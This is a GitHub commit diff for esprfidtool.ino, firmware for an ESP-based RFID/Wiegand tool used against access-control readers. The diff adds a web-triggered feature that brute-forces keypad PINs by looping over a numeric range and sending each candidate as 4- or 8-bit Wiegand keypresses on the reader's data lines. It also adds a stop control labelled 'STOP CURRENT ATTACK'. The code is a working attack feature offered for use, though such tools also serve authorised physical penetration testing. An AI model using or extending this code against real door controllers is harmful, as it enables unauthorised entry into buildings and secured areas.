You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardexpand all lines: Source Code/esprfidtool/esprfidtool.ino
+185-83
Original file line number
Diff line number
Diff line change
@@ -77,6 +77,9 @@ int txdelayus;
77
77
int txdelayms;
78
78
int safemode;
79
79
80
+
int TXstatus=0;
81
+
String pinHTML;
82
+
80
83
#include"pinSEND.h"
81
84
82
85
WiegandNG wg;
@@ -1087,13 +1090,33 @@ void setup() {
1087
1090
server.send_P(200, "text/html", License);
1088
1091
});
1089
1092
1093
+
server.on("/stoptx", [](){
1094
+
server.send(200, "text/html", F("<html><body>This will kill any ongoing transmissions.<br><br>Are you sure?<br><br><a href=\"/stoptx/yes\">YES</a> - <a href=\"/\">NO</a></body></html>"));
1095
+
});
1096
+
1097
+
server.on("/stoptx/yes", [](){
1098
+
TXstatus=0;
1099
+
server.send(200, "text/html", F("<a href=\"/\"><- BACK TO INDEX</a><br><br><a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>All transmissions have been stopped."));
if (server.hasArg("pinHTML")||server.hasArg("bruteEND")) {
1106
+
pinHTML=server.arg("pinHTML");
1095
1107
int pinBITS=server.arg("pinBITS").toInt();
1096
1108
int pinHTMLDELAY=server.arg("pinHTMLDELAY").toInt();
1109
+
int bruteforcing;
1110
+
int brutePAD=(server.arg("bruteSTART").length());
1111
+
if (server.hasArg("bruteSTART")) {
1112
+
bruteforcing=1;
1113
+
}
1114
+
else {
1115
+
bruteforcing=0;
1116
+
}
1117
+
1118
+
TXstatus=1;
1119
+
1097
1120
wg.pause();
1098
1121
digitalWrite(DATA0, HIGH);
1099
1122
pinMode(DATA0,OUTPUT);
@@ -1102,111 +1125,168 @@ void setup() {
1102
1125
1103
1126
experimentalStatus=String()+"Transmitting "+pinBITS+"bit Wiegand Format PIN: "+pinHTML+" with a "+pinHTMLDELAY+"ms delay between \"keypresses\"";
1104
1127
1105
-
for (int i=0; i<=pinHTML.length(); i++) {
1106
-
if (pinHTML.charAt(i) == '0') {
1107
-
if (pinBITS==4) {
1108
-
pinSEND(pinHTMLDELAY,"0000");
1109
-
}
1110
-
elseif (pinBITS==8) {
1111
-
pinSEND(pinHTMLDELAY,"11110000");
1112
-
}
1113
-
}
1114
-
elseif (pinHTML.charAt(i) == '1') {
1115
-
if (pinBITS==4) {
1116
-
pinSEND(pinHTMLDELAY,"0001");
1117
-
}
1118
-
elseif (pinBITS==8) {
1119
-
pinSEND(pinHTMLDELAY,"11100001");
1120
-
}
1121
-
}
1122
-
elseif (pinHTML.charAt(i) == '2') {
1123
-
if (pinBITS==4) {
1124
-
pinSEND(pinHTMLDELAY,"0010");
1125
-
}
1126
-
elseif (pinBITS==8) {
1127
-
pinSEND(pinHTMLDELAY,"11010010");
1128
+
int bruteSTART;
1129
+
int bruteEND;
1130
+
if (server.hasArg("bruteSTART")) {
1131
+
bruteSTART=server.arg("bruteSTART").toInt();
1132
+
}
1133
+
else {
1134
+
bruteSTART=0;
1135
+
}
1136
+
1137
+
if (server.hasArg("bruteEND")) {
1138
+
bruteEND=server.arg("bruteEND").toInt();
1139
+
}
1140
+
else {
1141
+
bruteEND=0;
1142
+
}
1143
+
1144
+
if (server.hasArg("bruteSTART")) {
1145
+
server.send(200, "text/html", String()+"<a href=\"/\"><- BACK TO INDEX</a><br><br><a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>Brute forcing "+pinBITS+"bit Wiegand Format PIN from "+bruteSTART+" to "+bruteEND+" with a "+pinHTMLDELAY+"ms delay between \"keypresses\"<br>This may take a while, your device will be busy until the sequence has been completely transmitted!<br>Please \"STOP CURRENT TRANSMISSION\" before attempting to use your device or simply wait for the transmission to finish.<br>You can view if the brute force attempt has completed by returning to the Experimental TX page and checking the status located under \"Bruteforce PIN\"<br><br><a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>");
1146
+
delay(50);
1147
+
}
1148
+
1149
+
String bruteSTARTchar="";
1150
+
String bruteENDchar="";
1151
+
if (server.hasArg("bruteSTARTchar")&&(server.arg("bruteSTARTchar")!="")) {
1152
+
bruteSTARTchar=(server.arg("bruteSTARTchar"));
1153
+
}
1154
+
if (server.hasArg("bruteENDchar")&&(server.arg("bruteENDchar")!="")) {
1155
+
bruteENDchar=(server.arg("bruteENDchar"));
1156
+
}
1157
+
1158
+
for (int brute=bruteSTART; brute<=bruteEND; brute++) {
1159
+
1160
+
if (bruteforcing==1) {
1161
+
pinHTML=String(brute);
1162
+
while (pinHTML.length()<brutePAD) {
1163
+
pinHTML="0"+pinHTML;
1128
1164
}
1129
1165
}
1130
-
elseif (pinHTML.charAt(i) == '3') {
1131
-
if (pinBITS==4) {
1132
-
pinSEND(pinHTMLDELAY,"0011");
1133
-
}
1134
-
elseif (pinBITS==8) {
1135
-
pinSEND(pinHTMLDELAY,"11000011");
1136
-
}
1166
+
1167
+
if (bruteSTARTchar!="") {
1168
+
pinHTML=bruteSTARTchar+pinHTML;
1137
1169
}
1138
-
elseif (pinHTML.charAt(i) == '4') {
1139
-
if (pinBITS==4) {
1140
-
pinSEND(pinHTMLDELAY,"0100");
1141
-
}
1142
-
elseif (pinBITS==8) {
1143
-
pinSEND(pinHTMLDELAY,"10110100");
1144
-
}
1170
+
1171
+
if (bruteENDchar!="") {
1172
+
pinHTML=pinHTML+bruteENDchar;
1145
1173
}
1146
-
elseif (pinHTML.charAt(i) == '5') {
1147
-
if (pinBITS==4) {
1148
-
pinSEND(pinHTMLDELAY,"0101");
1174
+
1175
+
for (int i=0; i<=pinHTML.length(); i++) {
1176
+
if (pinHTML.charAt(i) == '0') {
1177
+
if (pinBITS==4) {
1178
+
pinSEND(pinHTMLDELAY,"0000");
1179
+
}
1180
+
elseif (pinBITS==8) {
1181
+
pinSEND(pinHTMLDELAY,"11110000");
1182
+
}
1149
1183
}
1150
-
elseif (pinBITS==8) {
1151
-
pinSEND(pinHTMLDELAY,"10100101");
1184
+
elseif (pinHTML.charAt(i) == '1') {
1185
+
if (pinBITS==4) {
1186
+
pinSEND(pinHTMLDELAY,"0001");
1187
+
}
1188
+
elseif (pinBITS==8) {
1189
+
pinSEND(pinHTMLDELAY,"11100001");
1190
+
}
1152
1191
}
1153
-
}
1154
-
elseif (pinHTML.charAt(i) == '6') {
1155
-
if (pinBITS==4) {
1156
-
pinSEND(pinHTMLDELAY,"0110");
1192
+
elseif (pinHTML.charAt(i) == '2') {
1193
+
if (pinBITS==4) {
1194
+
pinSEND(pinHTMLDELAY,"0010");
1195
+
}
1196
+
elseif (pinBITS==8) {
1197
+
pinSEND(pinHTMLDELAY,"11010010");
1198
+
}
1157
1199
}
1158
-
elseif (pinBITS==8) {
1159
-
pinSEND(pinHTMLDELAY,"10010110");
1200
+
elseif (pinHTML.charAt(i) == '3') {
1201
+
if (pinBITS==4) {
1202
+
pinSEND(pinHTMLDELAY,"0011");
1203
+
}
1204
+
elseif (pinBITS==8) {
1205
+
pinSEND(pinHTMLDELAY,"11000011");
1206
+
}
1160
1207
}
1161
-
}
1162
-
elseif (pinHTML.charAt(i) == '7') {
1163
-
if (pinBITS==4) {
1164
-
pinSEND(pinHTMLDELAY,"0111");
1208
+
elseif (pinHTML.charAt(i) == '4') {
1209
+
if (pinBITS==4) {
1210
+
pinSEND(pinHTMLDELAY,"0100");
1211
+
}
1212
+
elseif (pinBITS==8) {
1213
+
pinSEND(pinHTMLDELAY,"10110100");
1214
+
}
1165
1215
}
1166
-
elseif (pinBITS==8) {
1167
-
pinSEND(pinHTMLDELAY,"10000111");
1216
+
elseif (pinHTML.charAt(i) == '5') {
1217
+
if (pinBITS==4) {
1218
+
pinSEND(pinHTMLDELAY,"0101");
1219
+
}
1220
+
elseif (pinBITS==8) {
1221
+
pinSEND(pinHTMLDELAY,"10100101");
1222
+
}
1168
1223
}
1169
-
}
1170
-
elseif (pinHTML.charAt(i) == '8') {
1171
-
if (pinBITS==4) {
1172
-
pinSEND(pinHTMLDELAY,"1000");
1224
+
elseif (pinHTML.charAt(i) == '6') {
1225
+
if (pinBITS==4) {
1226
+
pinSEND(pinHTMLDELAY,"0110");
1227
+
}
1228
+
elseif (pinBITS==8) {
1229
+
pinSEND(pinHTMLDELAY,"10010110");
1230
+
}
1173
1231
}
1174
-
elseif (pinBITS==8) {
1175
-
pinSEND(pinHTMLDELAY,"01111000");
1232
+
elseif (pinHTML.charAt(i) == '7') {
1233
+
if (pinBITS==4) {
1234
+
pinSEND(pinHTMLDELAY,"0111");
1235
+
}
1236
+
elseif (pinBITS==8) {
1237
+
pinSEND(pinHTMLDELAY,"10000111");
1238
+
}
1176
1239
}
1177
-
}
1178
-
elseif (pinHTML.charAt(i) == '9') {
1179
-
if (pinBITS==4) {
1180
-
pinSEND(pinHTMLDELAY,"1001");
1240
+
elseif (pinHTML.charAt(i) == '8') {
1241
+
if (pinBITS==4) {
1242
+
pinSEND(pinHTMLDELAY,"1000");
1243
+
}
1244
+
elseif (pinBITS==8) {
1245
+
pinSEND(pinHTMLDELAY,"01111000");
1246
+
}
1181
1247
}
1182
-
elseif (pinBITS==8) {
1183
-
pinSEND(pinHTMLDELAY,"01101001");
1248
+
elseif (pinHTML.charAt(i) == '9') {
1249
+
if (pinBITS==4) {
1250
+
pinSEND(pinHTMLDELAY,"1001");
1251
+
}
1252
+
elseif (pinBITS==8) {
1253
+
pinSEND(pinHTMLDELAY,"01101001");
1254
+
}
1184
1255
}
1185
-
}
1186
-
elseif (pinHTML.charAt(i) == '*') {
1187
-
if (pinBITS==4) {
1188
-
pinSEND(pinHTMLDELAY,"1010");
1256
+
elseif (pinHTML.charAt(i) == '*') {
1257
+
if (pinBITS==4) {
1258
+
pinSEND(pinHTMLDELAY,"1010");
1259
+
}
1260
+
elseif (pinBITS==8) {
1261
+
pinSEND(pinHTMLDELAY,"01011010");
1262
+
}
1189
1263
}
1190
-
elseif (pinBITS==8) {
1191
-
pinSEND(pinHTMLDELAY,"01011010");
1264
+
elseif (pinHTML.charAt(i) == '#') {
1265
+
if (pinBITS==4) {
1266
+
pinSEND(pinHTMLDELAY,"1011");
1267
+
}
1268
+
elseif (pinBITS==8) {
1269
+
pinSEND(pinHTMLDELAY,"01001011");
1270
+
}
1192
1271
}
1193
1272
}
1194
-
elseif (pinHTML.charAt(i) == '#') {
1195
-
if (pinBITS==4) {
1196
-
pinSEND(pinHTMLDELAY,"1011");
1197
-
}
1198
-
elseif (pinBITS==8) {
1199
-
pinSEND(pinHTMLDELAY,"01001011");
1200
-
}
1273
+
1274
+
server.handleClient();
1275
+
if (TXstatus!=1) {
1276
+
break;
1201
1277
}
1278
+
1202
1279
}
1203
-
1204
1280
pinMode(DATA0, INPUT);
1205
1281
pinMode(DATA1, INPUT);
1206
1282
wg.clear();
1207
-
1208
1283
pinHTML="";
1209
1284
pinHTMLDELAY=100;
1285
+
TXstatus=0;
1286
+
bruteforcing=0;
1287
+
brutePAD=0;
1288
+
bruteSTARTchar="";
1289
+
bruteENDchar="";
1210
1290
}
1211
1291
1212
1292
@@ -1321,6 +1401,14 @@ void setup() {
1321
1401
experimentalStatus=String()+"Outputting 3.3V on \"Push to Open\" wire for "+(server.arg("pushTime").toInt())+"ms.";
1322
1402
}
1323
1403
1404
+
String activeTX="";
1405
+
if (TXstatus==1) {
1406
+
activeTX="Transmitting PIN "+pinHTML+"<br><a href=\"/stoptx\"><button>STOP CURRENT ATTACK</button></a>";
1407
+
}
1408
+
else {
1409
+
activeTX="INACTIVE<br><button>NOTHING TO STOP</button>";
0 commit comments